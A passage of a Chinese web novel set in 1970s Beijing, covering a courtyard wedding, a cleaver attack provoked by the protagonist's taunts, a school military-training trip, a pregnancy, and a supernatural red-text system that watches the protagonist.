没多大功夫，徐静理就过来了，两人也没多说什么，白建军直接骑着白建华的自行车，驮着徐静理就往南锣鼓巷那边走。等白建军到了何雨柱他们家的四合院的时候，这边已经有不少人忙活起来了。现在结婚一般都是在自己家里摆几桌，桌椅板凳这些都是各家凑凑，有专门的做婚宴的厨子带着一个帮厨做婚宴。 四合院门口倒座房那边直接支了一个帐桌子，而坐在后面记账的就是闫阜贵。等白建军到的时候，闫阜贵就看白建军面熟，等白建军和徐静理分别随了礼钱，闫阜贵登记好名字突然满脸不可思议的看着白建军。 “看您这表情，您是见过我啦！”白建军看着闫阜贵的样子笑呵呵的说完，又指了指自己的嘴。“您是个明白人！” 闫阜贵心里直颤颤，就因为易中海的一句话，几天之内四合院来了个大变天，而这一切的幕后，都是眼前的这个年轻人在操纵着。 “两位里面请，厂子也来了不少人了！”闫阜贵讪笑了一下，然后小声的说道。“老易已经搬走了，但是贾家还没走，棒梗刚回来，看贾家的样子，好像有些不甘心！” “谢谢您的提醒！” 白建军对着闫阜贵客气的点了点头。 徐静理和白建军到了中院的时候，这边已经有了不少人，蔡晓丽和老蔫一看到白建军，赶紧招呼他们俩，白建军和徐静理也就坐在了他们俩这桌。 “何师傅带着几个人去接亲去了，估计一会儿就回来了。” 蔡晓丽直接和白建军、徐静理说了现在的情况。 “你们怎么没到后厨那边帮忙啊？” 白建军看着蔡晓丽和老蔫两个人问道。 “马师傅都在那边当小工呢，哪能轮得到我们啊！”老蔫遗憾的摇了摇头说道。“大夫，你去看看吧，今个过来掌勺的几位，都是高人！” “何师傅那手艺，绝对算这个！”白建军举了举大拇指说道。“他那些师兄弟，也差不到哪儿去！” 闲聊了几句，陆陆续续来了不少人，有红星小学的，也有轧钢厂的。学校这边都由闫阜贵帮忙招呼，厂子这边则有刘海中在招呼着。不到9点，白建军就听见外面一阵霹雳吧啦的鞭炮声。 何雨柱打扮的干干净净的带着冉秋叶就走进了中院，见到二位新人，大家不由纷纷起哄。婚礼办的热热闹闹的，直到婚宴结束白建军也没看到贾家人作怪。 不过想想也正常，不提客人中有轧钢厂的后勤主任、有街道的、派出所的这些人，就是何雨柱的师兄也带了好些人操办何雨柱的婚宴，贾家人哪怕是把牙咬碎了，也不敢在这个时候冒头。 等婚礼结束之后，何雨柱特意让白建军晚走了一会儿。 “白老弟，你管我雨水叫姐，我也托大叫你一声弟弟！”何雨柱客气的看着白建军说道。“我谢谢你帮我做的这一切！” “何大哥，我们到轧钢厂学工，您不说手把手的教，起码也是真心实意的在教我们。”白建军也客气的跟何雨柱说道。“以前咱们没接触，你们这院的事儿，我也就是当个乐子听。但是既然咱们遇上了，能帮一把的时候，就帮一帮。” “您也不用感谢我，我做的不多，主要是还是您是个好人！”白建军笑着看着何雨柱说道。“好人是应该有好报的！” “没有老弟你，我也不会有现在的好日子过！”何雨柱说完看了一眼贾家那边。“以前我是真的傻！” “您现在不就是苦尽甘来了么！” 白建军看了看走进来的冉秋叶，笑着对着何雨柱说道。 “白老弟，我这两天都在想怎么报答你！”何雨柱看着走进来的冉秋叶脸上露出了幸福的笑容，然后看着白建军说道。“我也就一手炒菜的本事，还能过得去！你要是感兴趣，有时间你就过来，我和你说道说道。” “弟弟，柱子的意思不是让你拜师！就是想让你多会一些本事！”冉秋叶怕白建军误会，赶紧在一边说道。“毕竟因为我们的事，让你失去了进厂的机会！” “我还挺爱做饭的，正好你教教我，回头我好做给我姐姐尝尝！” 白建军看着何雨柱两口子笑着答应了下来。 “那咱们就说好了，你有空就过来，或者我去你家都成！” 何雨柱见白建军答应，开心的不得了。 “那咱们可就说好啦！” “说好啦！” 白建军和何雨柱说完，互相抱了抱拳，白建军就告辞离开了。同门口等着的徐静理汇合，取了自行车，白建军两人就往正阳门那边走。 等快出了南锣鼓巷，白建军就把车子交给了徐静理。 “会骑吧！” “你要干什么？” 徐静理接过了自行车，不明所以的看着白建军问道。 “身后有条尾巴！”白建军不以为意的说道。“你先骑车走吧，我处理一下这条尾巴！” “不行，我陪着你！” 徐静理坚决的看着白建军说道。 “成吧，反正也没什么问题！” 第46章 语言使人疯狂 在棒梗的认知中，自己家这么困难，院里的人就应该帮着贾家。 易中海一个月开108块钱，两个老不死的能花多少钱，他们就应该补贴贾家； 自己家人口这么多，全都挤在中院西偏房里，而且房子还不是自己，每个月还要交房租，后院的聋老太太早就说过要把她的房子给何雨柱，可何家有自己的房子啊，聋老太太为什么不给贾家； 傻柱隔三差五的就往家带大鱼大肉的，可是自己家一个月连肉星都看不到，自己还在长身体呢，傻柱就应该把好吃的主动给自己家送来，不送来棒梗就去抢、去偷！ 另外易中海、许大茂还有傻柱，他们哪个没占过我妈的便宜，你们补贴我都是应该的，是你们这些人欠我的。房子、钱、票、好吃的好喝的，都应该是贾家的，是我贾梗的。 只是棒梗没想到，自己跟着学校去郊区参加“学军”十来天，回来之后家里就发生了翻天覆地的变化。何雨水不仅讹了自己家好多钱，自己妈秦淮茹的工作丢了，街道那边更是要将自己一家子撵出南锣鼓巷，更可气的贾家这么落魄的时候，何雨柱竟然要跟冉秋叶结婚了。 棒梗恨，恨秦淮茹无能、恨何雨水无情，更恨傻柱绝情、恨冉秋叶的出现，恨院里的所有人。 何雨柱结婚这天，秦淮茹一大早就躲出去找房子了，街道能容贾家又住这么一段日子，就是考虑着棒梗在外面。现在棒梗回来了，贾家已经没有理由再赖在四合院了。 贾张氏从早上起来，就一直趴在窗户边看着外面何雨柱和冉秋叶这边的婚宴进程，嘴里一直就没停下骂声。 先骂傻柱坑钱之后就得瑟、骂冉秋叶不要脸，再骂秦淮茹是个贱货、骂易中海多事。看到来客贾张氏还骂，骂街道不近人情赶贾家走、骂轧钢厂的人捧臭脚、跟骂院里人都是墙头草。 所有人都让贾张氏骂了一个遍，不过贾张氏也就只敢在自己家里小声咒骂，让她出去对着这些人耍无赖，她还真不敢。 贾张氏也厚着脸皮想让小当和槐花两个孙女去后厨帮忙，想着最后能混点好吃好喝的，可是后厨那边都是何雨柱师兄带来的徒弟，根本就没用外人上手。 不过小当和槐花回来的时候，也告诉了贾张氏一个信息，那就是指出了白建军的位置。小当和槐花当然不认识白建军，这都是许大茂见她们俩出来的时候，把她们两个叫到家里告诉她们的。 许大茂一心想看何雨柱的笑话，但是这个场合，许大茂也不敢自己砸场子，自然就把主意打到了贾家身上。有白建军这个整个事件的源头，自然能挑动贾家人那敏感的神经。只是许大茂还是失望了，贾家怂了，并没有在何雨柱婚礼的时候闹起来。 也不能说贾家怂了，而是欺软怕硬罢了。 贾家要是在何雨柱婚礼上闹起来，大院里不会有人帮着她们家。白建军周围坐的那一桌都是红旗中学的同学，这些人都是以白建军为主心骨，贾张氏这么点眼力还是有的。 小当和槐花就是两个赔钱货，贾张氏也指望不上她们俩，就剩下自己和大孙子棒梗，对上白建军以及他身边的那些人，自己家这边一定吃亏。哪怕贾张氏的嘴没停过咒骂，可还是不让棒梗出去找白建军麻烦。 棒梗虽然都快气疯了，但是还没完全疯掉，也明白自己一个人对上对面一帮人肯定吃亏，所以贾张氏拦不拦着，棒梗都没想着在婚宴上冲出去。 直到婚宴结束，一直盯着的贾张氏看到了报仇的机会。白建军被何雨柱两口子留下来单独说话，他身边的其他人都走了。等白建军出来的时候，贾张氏和棒梗也从家里偷偷的跟在后面。虽然白建军和一个女孩一起走，可是无论是贾张氏还是棒梗都没把徐静理当回事。 眼瞅着白建军和徐静理拐出了南锣鼓巷，贾张氏和棒梗赶紧加快脚步跑了出来，对方有自行车，两人生怕跟丢了！可是当贾张氏和棒梗也出了南锣鼓巷的时候，两个人都有些傻眼，因为白建军就站在拐角不远处，看架势就是在等着他们过来。 “你们跟在我后面，这是又要冒什么坏水啊？” 白建军看着出来的祖孙二人直接戏谑的问道。 “这叫什么话！我们走我们的，你们走你们的，你凭什么说我们跟着你啊！”贾张氏听到白建军的话，直接狡辩的说道。“这马路也不是你们家的，怎么着，你能走，我们不能走了呗！” “能走啊，那你们先走吧！”白建军作势让开了道路，直接看着贾张氏和棒梗这祖孙二人说道。“我们在这站一会儿！不挡你们的道。” “你让我们走，我们就走啊，你谁啊？”贾张氏嘴一撇，蛮不讲理的说道。“我就不走了，你管我！” “我还挺纳闷，怎么今天何雨柱的婚礼这么消停呢！”白建军看着身边的徐静理笑着说道。“原来作妖的都猫起来了，现在这才露头儿！” “怎么只有你们俩过来了？”白建军和徐静理说完，又看着棒梗和贾张氏笑着问道。“秦淮茹呢？怎么不是她出面啊！难道是不好意思，怕被我揭老底？” “我妈有什么老底让你揭的！”棒梗直接生气的看着白建军骂道。“你别在这满嘴喷粪！” “哈哈哈！哈哈哈！”听到棒梗的话，白建军大笑不止。“没人和你说过吧，你奶奶当时可都承认了，易中海不仅占过她的便宜还占了你妈不少便宜！你说你该管易中海叫爷爷呢，还是叫爹呢？现在滴血认亲那套也不管用了，不然我真想知道一下，你那两个妹妹，到底是谁的种？” “你们家联合易中海一起算计何雨柱，让何雨柱给你们家拉帮套！”白建军看着双眼发红的棒梗继续刺激道。“现在好了，何雨柱和冉老师结婚了！人家有新鞋不穿，凭什么还穿破鞋，还是不知道被别人穿过多少次的破鞋？” “破鞋！破鞋！” 棒梗听到白建军的话，嘴里不停的念叨着这两个字。当年被刘光福、闫解旷挂着破鞋游街的一幕再次浮现在棒梗的脑海。 “我劈了你！” 棒梗直接从腰间拽出了从家里顺出来的菜刀，冲着白建军就快步劈了过来。 “啊？棒梗，你啥时候带的菜刀啊！” 贾张氏一看棒梗动刀，直接就慌了神。 “小心！” 徐静理在白建军身后不远紧张的喊道。 白建军原来只是想教训一顿棒梗，没想到这小子竟然把菜刀都掏了出来，白建军也没惯着棒梗，侧身让过棒梗劈来的菜刀，脚下绊住棒梗的一条腿，顺势一带，直接让棒梗的身子转了半圈，然后白建军一个推手就把棒梗扔了出去。 “啊！” 飞出去的棒梗直接与追过来的贾张氏撞到了一起，贾张氏直接发出了一声惨叫，棒梗手里的菜刀正正的落到了贾张氏身上，贾张氏的外衣直接被划了一个口子，里面已经有血渗了出来。 “杀人啦！”“杀人啦！” 徐静理扔下车子赶紧往白建军身边跑，边跑边大声喊道。 白建军所在的位置本来离着巷子口就不远，再加上贾张氏、棒梗以及徐静理的一通大喊大叫，早就惊动了不少人，一阵脚步声之后，不少人都从巷子里冲了出来。 “救命啊！” 躺在地上的贾张氏感觉到肚子上的疼，撕心裂肺的喊道！ 大家看到倒地不起的棒梗和贾张氏，又看了看站在不远处的白建军和徐静理，都不知道发生什么事了。 “他拿菜刀砍我们！”徐静理指着地上的棒梗直接喊道。“白建军躲了过去之后，他没站住，又摔了出去！” 众人就要上去把棒梗和贾张氏拉起来，可是棒梗一下子握着菜刀爬起来了，这一下又把贾张氏疼的嗷嗷直叫唤。爬起来的棒梗手里握着菜刀，嘴里不停的念叨着“破鞋！”“破鞋！”。 见众人要上来，棒梗直接抡起了菜刀向众人胡乱的砍去，嘴里又念叨着“我劈了你！”“我劈了你！”，棒梗这样吓的众人不住的后退。这时候有带着棒子的邻居直接一棒子就打在了棒梗拿菜刀的右手，棒梗吃痛直接松开了手，菜刀正好掉在了贾张氏的大腿上。 “啊！” 贾张氏又一声惨嚎。 众人见棒梗菜刀脱手，好几个男人冲上来，直接把棒梗扑倒在地制住，可是棒梗还在疯狂的挣扎着，嘴里不停的喊着“我劈了你！”“我劈了你！”大家没办法只好找来绳子把棒梗捆了起来。 白建军拍了拍徐静理的胳膊，安慰着看了看徐静理。两人一直站着看热闹，直到派出所的人到了两人才跟着派出所的人走了，而贾张氏和棒梗则被送到了医院。 白建军是受害方，简单的询问之后，派出所就让两个人走了。 “白建军，你说那两人怎么样了？”坐在车座后面的徐静理拽着白建军的衣服问道。“他们好了之后，还会找你麻烦么？” “我估计那个棒梗，这次是真疯了吧！”白建军骑着车笑着说道。“我们已经不追究他们家的责任了。他们怎么还有脸找我麻烦？” “怎么就会疯了呢，厂子里的那些妇女同志说的话比你更过份！”徐静理疑惑的问道。 “棒梗之前就疯过一次！之后也没人在他面前说过这样的话！”白建军笑着解释道。“我估计他还是不知道怎么面对他妈，还有周围的人吧，疯了对他来说也是一件好事！” “希望不要再起什么波澜了！” 第47章 学工之后又学军 自从参加过何雨柱和冉秋叶的婚礼之后，白建军他们这一批红旗中学的学生也结束了高中的第一次学工的日程。开了工资之后，很多同学又在白建军家小聚了一次，这次比上次聚会的时候，食物可丰盛的多了，大家互相之间凑了凑，鸡鸭鱼肉这些就都凑齐了。 等食物上桌之后，大家也都看出来了，白建军的厨艺明显有了较大的长进。以前都是家常做法，这次还有了一些摆盘和造型。 “白大夫，你这手艺明显提升了不少啊！”强子看着菜不由对着白建军夸赞道。“以后我们得叫你白大厨啦！” “这才哪到哪啊！我就是跟着何师傅学了点皮毛！”白建军笑着看着众人说道。“离着当大厨还远着呢！” 对于白建军，大家也都知道，他要是说离着还远着，那真就是远着呢。大家不由都好奇真正的那些大厨都是什么水平。 “上次何师傅办婚宴，主厨徐静理、蔡晓丽她们都见过！”白建军看着众人说道。“那位主厨是何师傅的三师兄，据说是西山宾馆的主厨！” 听到白建军这么说，众人真的明白了“三百六十行，行行出状元！”这句话的真谛。 吃着聊着，这话题不知不觉就聊回了学校，以及不久之后的“学军”上来。初中的“学军”顶多是徒步爬趟长城，可是高中阶段的“学军”是真的要到军营里待10天左右。 “我可是听说了，他们到军营之后，天天早起跑步，每天最少20公里，然后就是队列、分列式，天天就是练！” “不然呢，你还想打枪、开炮、开坦克啊！” “大炮和坦克是不太可能，但是之前有打过枪的，不过这得看咱们到什么部队吧！” “要是到作战部队还好，要是去部队农场，虽然也会训练，但是养鸡、喂猪也跑不了！” …… 大家你一言我一语，对于即将到来的“学军”都充满了期望。 “各位还是收收心吧！”白建军看着酒足饭饱的同学们说道。“离‘学军’还得20多天呢，咱们还是趁着这段时间，好好把书本上的知识学一学吧！” “白大夫，你说我们这都不能参加高考了，学不学还有什么用啊！” 有人看着白建军直接抱怨的说道。 “你学习成绩好，毕业的时候可能就被哪个单位相中了呢！”白建军看着大家说道。“混日子也是一天，学习也是一天。学到的知识是咱们自己的，懂的多了，说不定什么时候就能用上。” “白建军这话说的不错！”徐静理也附和白建军说道。“咱们不求以后能怎么样，但是最少咱们遇到事了，有自己的分辨能力，不至于被别人糊弄了！” 看着白建军和徐静理两个人一唱一和的，大多数人都没有多想，不过还是有两个人的脸色出现了片刻的改变，一个是警惕，一个有些伤心。不过好在这两个人都很快调整了过来，并没有让身旁的人发现自己的异样。 ----------------- 时隔一个月，学生们再次回到了红旗中学。白建军明显感觉现在学校的氛围发生了一些改变，而这些改变不是来自学生们，反而是来自老师们。 老师们现在天天恨不得一直盯着同学们学习，对于任何摸鱼、偷懒的行为也达到了零容忍的态度，如果发现谁多次听课不认真，那老师轻则一顿批评教育，重则直接叫家长。总之一句话，老师们恨不得撬开学生们的脑袋，也要把知识给学生们灌输进去。 各个排的学生们对于老师们的状态，纷纷叫苦不迭，不过也就是私下抱怨几句，大家也都知道老师们是为了他们这些学生们着想，所以也都纷纷咬牙坚持。 高中部的学生们每天过的都很辛苦，初中部虽然也增加了学习的强度，但是相比较来说还比高中部这边轻松很多。毕竟白建军时不时的就能从叶菲口中听到杨树茂又把欺负他们班女生的谁谁谁给揍了，就知道初中部的学生们还是没事闲的。 高中部这些经历了“学工”回来的学生，现在都把心思放在学习上了，因为只有真正的去到工厂，去到社会上，大家才明白，真的没有一件事是比学习更简单的了。哪怕学到了知识可能以后用不到，但是万一用到的时候你不会，那机会就会和你擦肩而过，成为那些会的人的机遇。 人忙起来，就不觉得时间过得快了，不知不觉之间，时间就来到了1972年的最后一个月，而红旗中学的同学们也迎来了“学军”的日子。 学军和学农虽然都要持续一段时间，但是仍然有些许的不同：学生们虽然都各自带着被褥，但换洗衣服只带了一套替换的，最重要的是没有车接车送。 红旗中学高中部的同学们，一大早出发，顶着寒冷的朔风，徒步40公里才到达了这次学军之旅的目的地，京郊某部的营房。一到部队，部队的团长和政委就带着很多战士敲锣打鼓的欢迎红旗中学的同学们。 在团长“欢迎同学们来部队”的开场白之后，接着鼓励的看着学生们说道。 “你们的学军其实从今天就开始了，部队拉练一天步行40公里左右是训练科目之一，是常事，你们已经做到了。” 团长这一句暖心的话，让走了一天的同学们内心无比自豪，身上的疲劳仿佛也不翼而飞。 由于学校方面和部队方面早就进行了沟通，同学们很快按部队要求分班、分排，合成一个连，并且分别有一位士兵担任教官；之后在教官的带领下，同学们跟随教官到指定的营房内整理好自己的床铺和生活用品。 中午只是拿随身携带的干粮充饥的学生们，在各自教官的带领下，一起往食堂进发。一顿虽不丰盛，但是量大管饱的晚餐，又让疲惫的学生们重新焕发了活力。 晚饭之后，同学们才算正式开始学军之旅，大家都按部队要求作息，亲身体验军事化的生活。 第48章 信心 嘹亮的起床号在早上6：30天还没亮的时候准时响彻了营房。红旗中学参加学军的全体同学以八、九人一组的班为单位，在营房前操场上，各自听从教官口令，从集合、稍息、立正、看齐、报数、左转、右转、向后转、原地踏步等整队要素开始了真正的军训。 起初同学们还以为跟学校上体育课集队时一样，一脸轻松。不料这么简单的科目训练了将近一个上午，直到大家随着口令动作一致才能休息片刻，然后继续训练。对于会经历枯燥、严格、重复性的训练，同学们早就有了心理准备，但是没想到会枯燥、严格到这个程度。 白建军所在的新兵营一连三排二班进度相对来说是比较快的，不到中午，白建军他们班已经能做到整齐划一的完整科目训练。其他班的进度也没拉下多少。毕竟高中部的同学已经算半个大人了，只要调整好心态，认真对待训练这件事，很快就能看到效果。 中午吃过饭，同学们下午并没有进行队列训练，在教官们的带领下，先是整队参观了军史馆，之后教官们也向同学们展示了军体拳、刺杀术等科目，让同学们对这些科目有了一个初步的了解。大多数同学只是看个热闹，可是已经练了5年形意、太极、八卦的白建军却能从教官们的展示中感受到军中拳法那满满的杀意。 吃过晚饭，同学们终于有了一些轻松的时间，不过轻松不意味着自由活动，跟随而来的老师们也抓紧时间给同学讲授课本的知识。直到晚上19：30，学生们结束了学习之后，才有了真正属于自己的时间。大家抓紧时间洗漱，因为还有1个小时，就要吹熄灯号了。 白建军洗漱之后并没有回到宿舍，而是和教官待在一起，因为白建军今天晚上要和哨兵一起站岗，教官在这段时间组织今夜参与站岗的同学一起学习今日的口令，以及遇到一些情况的处置方法。深夜，结束了站岗的白建军这才回到了自己的床位，钻进了被窝。 同学们的学军之旅掐头去尾只有中间的八天时间，上午都是训练基础科目，从最简单的立正、稍息，到后面的队列、方阵，下午则是军中各种进阶科目的展示。 白建军他们所在的部队没有同学们心心念念的大炮、坦克，但是也不是后勤农场。在同学们的积极申请之下，同学们也终于能近距离的接触到了枪械。不过光一个射击瞄准训练就进行了两次，真正能打实弹的，整个新兵营近300人，一共就选出了不到30人，刚刚够得上一个排的人数。 蹲姿、卧姿、站姿，三个姿势每次击发10次，一套下来，刚刚是一个弹夹的数量。白建军打完之后仍然觉得不过瘾，可是哪怕再不过瘾，也只能立正站好，将手中的56冲还给教官们。 距离1972年结束还有2天，红旗中学高一年级也结束了这次学军之旅。枯燥严格的训练，磨炼了同学们的专注力、意志力、忍耐力，相比于这次训练，同学们觉得以前的劳动似乎也算不上一件苦差了。不过大多数同学们还是遗憾没能亲自在射击场体验一把实弹射击。 在部队官兵的欢送之下，红旗中学的学生们登上卡车，与他们的教官挥手告别。同样同学们也是同军营告别，大家可能这一辈子也不会再有踏入军营大门的机会了。 ----------------- 1973年的元旦，白建华要在医院值班，白建军直接去了九道弯那边的李香秀家里。 “建军啊，你们这之后到放假，没有什么活动了吧！” 李香秀看着白建军问道。 “太奶奶，过了元旦，我们还能上半个月的课，差不多就放寒假了。” 白建军看着李香秀说道。 “以前上学是上课为主，其他为辅！”李香秀摇了摇头说道。“你们可倒好，别的事情学了一大堆，就是没好好学习书上的知识。这什么时候是个头儿啊！” 李香秀感慨的说道。 “太奶奶，您这是怎么了？” 白建军疑惑李香秀为什么有这样的感慨。 “你看看报纸吧！今天新出的！” 李香秀随手把元旦新出版的报纸拿给白建军看，并且指出了一篇文章让白建军详细阅读了一遍。看完报纸的白建军大概是明白了李香秀为什么有感而发。 “大事件”已经过去了一年多，很多人都以为能很快结束的运动还在继续，虽然没有之前那么激烈了，但是确实是没有停止的意思，而今天报纸上的内容，显然是又一波运动的前奏。 “太奶奶，早晚会过去的，您就甭跟着操心了！” 白建军放下了报纸，笑着安慰李香秀说道。 “建军，太奶奶我都60多了，我还有几年活头！”李香秀摇了摇头看着白建军说道。“但是你和建华还小，你们以后的日子还长着呢！” “太奶奶，您健健康康的长命百岁，什么好日子都能看到！”白建军哄着李香秀说道。“过几年我姐要是结婚了，还得求您帮着照顾孩子呢！” “白家的姑奶奶成婚就没有早的！”李香秀笑着摇头说道。“反倒是白家的爷儿们成婚都挺早的，你三太爷爷像你姐这么大的时候，三个媳妇，孩子都有两个了；你太爷爷也娶了你亲太奶奶。” “您说的我这位三太爷爷就是在南边的那位？” 白建军看着李香秀问道。 “长命百岁虽然好听，但是如果你要是有机会见到你三太爷爷，可不能这么说。”李香秀打趣着白建军说道。“我这位三哥，现在都得96、7了。” “我的天啊，这还真是高寿啊！” 白建军不由感叹道。 “你跟着四姑娘学拳，她就是你三太爷爷的亲师妹！孙、白两家的关系就是从你三太爷爷那边论出来的。”李香秀看着白建军耐心的说道。“虽然你三太爷爷他们那支去了南边，但是孙家也和咱们白家多有走动。” “白家的老关系，现在没剩下多少了，人情是用一点少一点。”李香秀看着白建军忧心的问道。“你妈那边的资源，你都用在你姐身上了，你以后可怎么办啊！” “太奶奶，我太爷爷能白手起家，我也不差啥。”白建军自信的看着李香秀说道。“外面的关系，能帮到我，不过是让我成功的路走的顺一点，哪怕没有外面的帮助，我也有信心成功的！” 白建军的话，让李香秀不由开心不已。白家二房白景琦这一枝，在白景琦之后，是一代不如一代，看到白建军这样，李香秀觉得自己这一枝还有重新起来的一天。 第49章 再次出现的红字 1973年元旦，全国都放假一天。休息了一天的白建军第二天又重新开始了学生生涯。连续半个多月的紧密的学习生活哪怕是以白建军的身体素质也感觉到有些疲惫，直到期末考试结束，白建军以及同届的学生们才迎来了难得假期。 虽然放假了，可是有心的人不会选择疯玩。现在高中的学生们都知道自己已经失去了直接考入大学的机会，那剩下的出路就只有上班和下乡了。有人选择了躺平，有人选择努力。 去年学工的时候，轧钢厂的老师傅们或者青工们有不少都是认认真真的教了红旗中学高一年级的这些学生，现在学生们里不少也趁着放寒假的功夫，赶上节假日登门拜访各自的师父。这也是大家看到了白建军跟着何雨柱学勤行得到的启发。 白建军虽然说比马华学的晚，但是白建军现在在刀功上仍然和马华有差距，但是差距也已经很小了。按照何雨柱的说法，白建军现在当个食堂炒大锅菜的师傅，水平完全够用了，即使去好一点的馆子，也不用从头来。 白建军这天周日上午9点左右又到了四合院这边，白建军到的时候，马华已经到了有一会儿了。马华已经开始跟着何雨柱学鲁菜了，而配菜这块，就是白建军的事。白建军这边正在处理大肠，路过的冉秋叶突然就开始干呕起来。 冉秋叶的样子，一下子把何雨柱和白建军以及马华都吓了一跳。 “秋叶，你这是怎么了？” 何雨柱一边拍着冉秋叶的后背一边紧张的问道。 “也不知道怎么了，刚刚路过闻到大肠的那个味，胃里就直犯恶心。” 缓了一会儿，冉秋叶才直起了身子说道。 听到冉秋叶的话，白建军赶紧往后退了退，毕竟白建军手上都是这个味道。 “柱子哥，要不我给秋叶姐看看？” 离开了一段距离，白建军看着何雨柱和冉秋叶提议道。 “我都差点忘了，你们同学都管你叫白大夫！”一听白建军的话，何雨柱马上拍了一下脑门。“不过你还是先用香皂好好洗洗你的手！” “不用麻烦了吧，我这可能就是一时受不了！”冉秋叶不好意思的看着白建军和马华说道。“别在耽误了你们学艺！” “师娘，不差这么会儿功夫！”马华赶紧摆手说道。“您还是让建军看看吧，我听他们同学说的他老神了！” 白建军仔细用香皂把手洗了两遍，大肠的味道几乎已经全都消散了，这才在这屋里给冉秋叶号起了脉。等两只手都号了一遍之后，白建军才看着望着自己的何雨柱和冉秋叶。 “虽然左右两只手的脉象有些区别，但是我能确认的是，秋叶姐你怀孕了！”白建军面带喜色的看着两人说道。“恭喜你们二位了！” 何雨柱一下子让白建军的话说懵了。冉秋叶也愣了一下，随之而来的就是巨大的惊喜。 “不过！” 一听到这两个字，何雨柱也回神了，冉秋叶更是紧张的抓住了何雨柱的胳膊。 “不过你们最好还是去医院检查一下。”白建军看着何雨柱和冉秋叶说道。“虽然我对自己的水平有信心，但是毕竟我不是真大夫，你们还是去医院，正式检查一下才好！” “吓我一跳！” 何雨柱刚刚手心都冒汗了，听到白建军是让他们去医院检查，瞬间觉得自己好像太紧张了。 冉秋叶疑似怀孕，马华和白建军也不用跟着何雨柱学艺了，两个人直接和他们夫妻俩往医院走。何雨柱还是紧张冉秋叶的，特意借来了一辆板车，自己亲自在前面拉着，车上更是铺了厚厚的棉被，生怕冉秋叶在路上被颠着了。 到了医院经过一番检查，在产科医生确认冉秋叶怀孕，而且已经有快8周了，何雨柱终于要大声笑了出来。 “你别介意，我这哥哥结婚晚，我这嫂子也是头胎！” 白建军也跟着高兴，但是毕竟不是自己媳妇，白建军还是比较冷静的跟大夫赔礼。 “呵呵，这种情况正常，见怪不怪了！” 大夫也没有见怪，毕竟每天见到太多激动的人了，何雨柱这只是笑，还有哭的呢。大夫又交待了一些注意事项，又让定期来检查，也就没有再嘱咐什么了。 出了医院，何雨柱仍然激动的不行。 “马华，你去雨水家，叫上她们一家三口，让她们中午过来吃饭。”何雨柱说完看向了冉秋叶。“媳妇，你给马华拿点钱，让他中午买点好的，我好好露露手艺！” “柱子哥，你还是问问秋叶姐想吃什么吧。”白建军看着兴奋的何雨柱直接说道。“别买来一大堆，秋叶姐一闻到就吐。我们啥时候都能吃，现在你们家最重要的是她和她肚子里的孩子。” “对！对！对！建军你说的对！”何雨柱立马点头附和道。“马华，你去，鸡鸭鱼肉都买点，我都做一遍，看看你师娘爱吃什么！” 得，白建军觉得自己刚刚那话都白说了。 “这有个厨子丈夫就是好，特别是会好几个菜系的顶级厨子，那就是好上更好了。” 白建军看着冉秋叶笑着说道。 冉秋叶害羞的笑了笑，然后掏出了钱和票也没看多少直接就交给了马华，马华笑的屁颠屁颠就去找人买菜去了。等马华走了之后白建军才发现，冉秋叶现在就是何雨柱的眼珠子，白建军自然不好上前照顾，所以自己成了拉车的了。 回到四合院，何雨柱扶着冉秋叶下了板车之后，街坊邻居一看两人的架势就知道怎么回事了。 “呦，柱子，你媳妇这是怀上啦！给您道喜啦！” “您客气了！” “柱子，冉老师这是几个月啦！” “刚去了医院，大夫说已经两个月啦！” 何雨柱扶着冉秋叶，脸上都笑出褶子啦！ 冉秋叶怀孕的消息，没用半个小时，就传遍了四合院以及周围的几个院。 “这傻柱还真是傻人有傻福，自从看清了狐狸精的真面目，这好事是一个接着一个！” “可不是么！自从那一家子离开咱们这片，咱们这片都消停了不少。” “唉，只是没有乐子看了！” “你可得了吧，那院没乐子，别的院还有呢，我跟你说啊……” 不提外面消息传的满天飞，白建军送完板车回来，刚到中院就听到后院里传来吵架的声音。 “许大茂！老娘跟你这么久了，肚子愣是没有动静，人家傻柱结婚半个月媳妇就怀上了！你要是不行，就别耽误我！” “秦京茹，你别给脸不要脸！” “怎么着，我之前也不是没怀过！到底是你不行，还是我不行？啊！你倒是说清楚啊！” …… 白建军看着后院方向摇了摇头，转身往何雨柱家走。 “柱子，大夫都说了，没什么事，你不用这么小心！” 白建军一到门口就听到冉秋叶的声音，也就站住了脚步。白建军也没听两口子说几句，何雨水和刘国栋带着孩子就到了中院。 “雨水姐、姐夫！” 白建军听到动静就跟何雨水和刘国栋打招呼。 “我嫂子真怀了？” 何雨水上来就直接问白建军。 “雨水姐，我号了脉，医院的大夫也都确认过了，确实怀了！”白建军笑着说道。“再过几个月，你就当姑姑啦！” “谢天谢地啊！” 何雨水说完，白建军也随着她们一家子进了屋子。何雨水看着何雨柱紧张冉秋叶的那个样子，直接把他扒拉到一边，后来干脆把何雨柱、刘国栋和她儿子刘磊直接撵了出去，屋里只有姑嫂两个说着悄悄话。 不过也没等多大功夫，马华回来，几个人也有事干了，刘国栋和刘磊去了偏方休息，白建军和马华则是给何雨柱打下手。何雨柱的手艺真不是盖的，川菜、鲁菜、谭家菜，何雨柱除了没说自己手里调料的配置，是边做边讲，整整做了十八道，满院子都是饭菜的香味。 冉秋叶除了对内脏会有些反应以外，其他都没问题。 “这又是酸的，又是辣的，嫂子你到底怀的这是男孩还是女孩啊！” 何雨水看着酸辣咸甜都能入口的冉秋叶也没法判断了。 “男孩、女孩都成！” 何雨柱看着胃口大开的冉秋叶，脸上露出了傻乎乎的笑容。 “又不是你生！” 何雨水笑着白了何雨柱一眼。 白建军在何家大吃了一顿之后，就回了正阳门这边。和白建华以及李香秀打了声招呼之后，就回屋写菜谱去了。白建军从书包里拿出纸笔，意外的发现立柜上镜子上又出现了一排立体的红字。 “由于被选中者的参与，改变了某些人的命运！XXXX对你精彩的表现很满意，祂将持续关注你的演出！” “XXXX已给被选中者一些打赏，待本世界结束之后，被选中者可以查询打赏！” “请被选中者继续努力的演出，期待你再次奉上精彩的表现！” 五年多了，若不是这些红字再次出现，白建军都忘了为什么来到这里了。 “看来，某些神祇就是想看到我改变别人的命运啊！”望着再次消失的红字，白建军脑袋不住的思索。“也不知道这个具体的机制是什么！看来还是要继续探索啊！” 第50章 红字引发的一些猜想 一边在机械性的写着菜谱，可是白建军的脑袋里想的都是刚刚出现的红字。由这些再次出现的红字，白建军脑袋中想到各种问题，慢慢梳理自己这几年的的经历，以便从中找到答案。 ‘第一句文字中提到了我改变了某些人的命运。由于我的出现，已经改变了很多人的命运了，为什么这个时候会出现这些文字呢？’ 